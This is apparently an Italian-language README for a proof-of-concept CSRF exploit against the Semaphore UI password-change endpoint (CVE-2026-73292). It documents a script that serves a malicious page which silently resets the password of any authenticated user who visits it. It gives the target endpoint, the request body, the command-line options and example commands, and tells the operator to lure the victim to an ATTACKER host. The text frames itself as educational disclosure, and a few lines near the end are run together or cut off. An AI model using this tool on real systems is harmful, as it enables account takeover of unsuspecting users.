
Proof-of-concept exploit per CVE-2026-73292: attacco CSRF sull'endpoint di modifica password di Semaphore UI, che serve una pagina dannosa che reimposta silenziosamente la password di un utente autenticato.
Solo a scopo educativo e di divulgazione responsabile.
Questa vulnerabilità è stata segnalata in GHSA-8cj9-r88m-8945 e riguarda le versioni di semaphoreui precedenti alla 2.18.21.
L'endpoint di modifica password di Semaphore UI non implementa alcuna protezione CSRF:
semaphore) senza alcuna imposizione SameSiteUna pagina dannosa può modificare silenziosamente la password di qualsiasi utente autenticato che la visiti.
Endpoint interessato: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
| Argomento | Descrizione | Predefinito |
|---|---|---|
-u / --uri | URL di base dell'istanza Semaphore | obbligatorio |
-i / --user_id | ID dell'utente target | obbligatorio |
-n / --new_password | Password da impostare | passwordchanged |
-p / --port | Porta su cui servire la pagina dannosa | 1337 |
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
Quindi invia la vittima (autenticata su Semaphore) a http://ATTACKER:1337. La sua password viene modificata immediatamente al caricamento della pagina.
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337/api/users/1/password che restituisce HTTP 204SameSite=Strict sul cookie di sessione